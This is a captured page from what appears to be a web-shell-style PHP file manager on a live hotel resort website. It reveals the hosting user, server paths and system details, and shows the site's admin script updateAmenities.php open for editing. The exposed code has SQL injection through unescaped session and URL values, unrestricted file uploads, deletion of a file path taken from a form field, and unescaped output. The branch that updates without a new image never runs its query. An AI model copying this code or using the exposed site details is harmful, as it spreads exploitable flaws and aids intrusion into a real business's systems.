Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/silverconchawavepoolresortandhotel.com/public_html/admin/main

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: updateAmenities.php

<?php
// Check con
session_start();
include('../controller/config.php');

if (isset($_SESSION['login_id'])) {

$log_id = $_SESSION['login_id'];

$get_record = mysqli_query($conn, "select * from user where user_id ='$log_id'");
    $row = mysqli_fetch_assoc($get_record);
    $db_name = $row['name'];
    $log_lastname = $row['lastname'];
    $db_username = $row['username'];

if ($db_username !== 'admin') {
        header("location: index.php");
    }
} else {
    header("location: ../../index.php");
}

$amenities_id = $_GET['id'];

if (isset($_POST['update'])) {
    // Get form data
    $amenities_name = $_POST['amenities_name'];
    $description = $_POST['description'];
    $old_image = $_POST['old_image'];

// Check if amenities_id is set (it should be available in your context, maybe from URL or session)
    if (!isset($amenities_id)) {
        echo "Error: Amenities ID not found.";
        exit;
    }

// Check if a new image is uploaded
    if ($_FILES['event_img']['name']) {
        // New image uploaded
        $new_image = $_FILES['event_img']['name'];
        $image_tmp = $_FILES['event_img']['tmp_name'];

// Define the target directory for the new image
        $target_dir = "../uploads/"; // Ensure this is your correct image folder path
        $target_file = $target_dir . basename($new_image); // Set the target file path for the new image

// Delete the old image if it exists and only if a new image is uploaded
        if (file_exists($old_image)) {
            unlink($old_image); // Delete the old image from the server
        }

// Move the new image to the uploads directory
        if (!move_uploaded_file($image_tmp, $target_file)) {
            echo "Error: Could not upload the new image.";
            exit;
        }

// SQL query to update name, description, and image
        $sql = "UPDATE `ameneties` SET 
                    `amenities_name` = ?, 
                    `description` = ?, 
                    `am_img` = ? 
                WHERE `amenities_id` = ?"; // Update query based on amenities_id

// Use prepared statements to prevent SQL injection
        if ($stmt = $conn->prepare($sql)) {
            // Bind the parameters to the SQL query
            $stmt->bind_param("sssi", $amenities_name, $description, $target_file, $amenities_id);

// Execute the statement
            if ($stmt->execute()) {
                // Success, set session message and redirect
                $_SESSION['status'] = "Data Successfully Updated!";
                $_SESSION['code'] = "success";
                header("location: manageAmeneties.php");
                exit; // Ensure no further script execution after the redirect
            } else {
                // If there’s an error with the execution
                echo "Error updating amenities: " . $stmt->error;
            }

// Close the statement after execution
            $stmt->close();
        } else {
            echo "Error: Could not prepare SQL statement.";
        }
    } else {
        // No new image uploaded, only update the name and description
        $sql = "UPDATE `ameneties` SET 
                    `amenities_name` = ?, 
                    `description` = ? 
                WHERE `amenities_id` = ?"; // Update query based on amenities_id

// Use prepared statements to prevent SQL injection
        if ($stmt = $conn->prepare($sql)) {
            // Bind the parameters to the SQL query
            $stmt->bind_param("ssi", $amenities_name, $description, $amenities_id);

// Close the statement after execution
            $stmt->close();
        } else {
            echo "Error: Could not prepare SQL statement.";
        }
    }

// Close the database connection
    $conn->close();
}
?>

<!DOCTYPE html>

<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Silverconcha | Administrator</title>
    <link href="../../img/core-img/logo2.png" rel="icon" />

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    
    <link rel="stylesheet" href="../plugins/datatables-bs4/css/dataTables.bootstrap4.min.css">
    <link rel="stylesheet" href="../plugins/datatables-responsive/css/responsive.bootstrap4.min.css">
    <link rel="stylesheet" href="../plugins/datatables-buttons/css/buttons.bootstrap4.min.css">
    
    <link rel="stylesheet" href="../dist/css/adminlte.min.css">
    <script src="../includes/sweetalert.min.js"></script>

.suggestion-item {
            padding: 5px;
            cursor: pointer;
        }

.suggestion-item:hover {
            background: #286ba9;
            color: white;
        }
    </style>
</head>

<?php include("topnav.php"); ?>

<nav class="mt-3">
    <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false">
        
        <li class="nav-item">
            <a href="index.php" class="nav-link ">
                <i class="nav-icon fas fa-tachometer-alt"></i>
                <p>
                    Dashboard
                    
                </p>
            </a>
        </li>

<li class="nav-header">MANAGEMENT</li>

<li class="nav-item">
            <a href="manageEmployee.php" class="nav-link ">
                <i class="fa-solid fa-user nav-icon"></i>
                <p>
                    Manage Employee
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageCustomer.php" class="nav-link">
                <i class="fa-solid fa-users nav-icon"></i>
                <p>
                    Manage Customer
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageEvent.php" class="nav-link ">
                <i class="fa-solid fa-champagne-glasses nav-icon"></i>
                <p>
                    Manage Event
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageRoom.php" class="nav-link ">
                <i class="fa-solid fa-bed nav-icon"></i>
                <p>
                    Manage Room
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageServices.php" class="nav-link ">
                <i class="fa-solid fa-cart-flatbed-suitcase nav-icon"></i>
                <p>
                    Manage Services
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageAmeneties.php" class="nav-link active">
                <i class="fa-solid fa-tree nav-icon"></i>
                Manage Amenities
                
                </p>
            </a>
        </li>

<li class="nav-header">RESERVATIONS</li>

<li class="nav-item menu-is-opening menu-open">
            <a href="#" class="nav-link bg-purple">
                <i class="fa-regular fa-calendar nav-icon"></i>
                <p>
                    Room Reservation
                    <i class="fas fa-angle-left right"></i>
                </p>
            </a>
            <ul class="nav nav-treeview">
                <li class="nav-item">
                    <a href="../room" class="nav-link">
                        <i class="fa-regular fa-circle nav-icon"></i>
                        <p>Go to Dashboard</p>
                    </a>
                </li>
            </ul>
        </li>

<li class="nav-item menu-is-opening menu-open">
            <a href="#" class="nav-link bg-orange text-white">
                <i class="fa-regular fa-calendar nav-icon"></i>
                <p>
                    Cottage Reservation
                    <i class="fas fa-angle-left right"></i>
                </p>
            </a>
            <ul class="nav nav-treeview" style="display: hidden;">
                <li class="nav-item">
                    <a href="../pos/" class="nav-link">
                        <i class="fa-regular fa-circle nav-icon"></i>
                        <p>Go to Dashboard</p>
                    </a>
                </li>
            </ul>
        </li>

<li class="nav-item">
            <a href="eventReservation.php" class="nav-link">
                <i class="fa-regular fa-calendar nav-icon"></i>
                <p>
                    Event Reservation
                    
                </p>
            </a>
        </li>

<li class="nav-header">REPORTS</li>

<li class="nav-item">
            <a href="reports.php" class="nav-link">
                <i class="fa-solid fa-sack-dollar nav-icon"></i>
                <p>
                    Sales Report
                    
                </p>
            </a>
        </li>

</ul>
</nav>

</div>

</aside>

<div class="content-wrapper">
    
    <div class="content-header">
        <div class="container-fluid">
            <div class="row mb-2">
                <div class="col-sm-6">
                    
                </div>
                <div class="col-sm-6">
                    <ol class="breadcrumb float-sm-right">

</ol>
                </div>
            </div>
        </div>
    </div>

<div class="content">
        <div class="container bg-light">

<div class="row justify-content-center">
                <div class="col-lg-6">
                    <div class="card">
                        <div class="card-header bg-lightblue">
                            <h3 class="card-title font-weight-bold mt-1 text-white">UPDATE AMENITIES</h3>
                        </div>
                        <form action="" method="post" enctype="multipart/form-data">
                            <div class="card-body">

<?php
                                $sql2 = "select * from ameneties where amenities_id = '$amenities_id'";
                                $res2 = $conn->query($sql2);
                                while ($row = $res2->fetch_assoc()) {
                                ?>

<div class="form-group">
                                        <label for="comment" class="">Amenities Name:</label>
                                        <input type="text" class="form-control" value="<?php echo $row['amenities_name'] ?>" name="amenities_name" placeholder="Enter Ameneties Name" required>
                                    </div>

<div class="form-group">
                                        <label for="comment" class="">Room Description:</label>
                                        <textarea class="form-control" rows="4" name="description" required placeholder="Enter Ameneties Description"><?php echo $row['description'] ?></textarea>
                                    </div>

<div class="row">
                                        <div class="col">
                                            <label Class="">Current Image:</label>
                                            <img src="<?php echo $row['am_img'] ?>" alt="" style="height: 200px; width: 200px;">
                                        </div>
                                        <div class="col">
                                            <div class="form-group">
                                                <label Class="">Amenities Image:</label>
                                                <input type="file" class="form-control mb-2" name="event_img">
                                            </div>
                                        </div>
                                    </div>

</div>
                            <div class="card-footer">
                                <button type="submit" name="update"
                                    class="btn btn-primary mt-2 float-right">Update</button>
                                <a href="manageAmeneties.php">
                                    <input type="button" class="btn btn-danger mt-2 float-right mr-3"
                                        value="Cancel"></a>
                            </div>
                            
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
</div>

<aside class="control-sidebar control-sidebar-dark">
    
    <div class="p-3">
        <h5>Title</h5>
        <p>Sidebar content</p>
    </div>
</aside>

<?php
include("footer.php");
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: updateAmenities.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation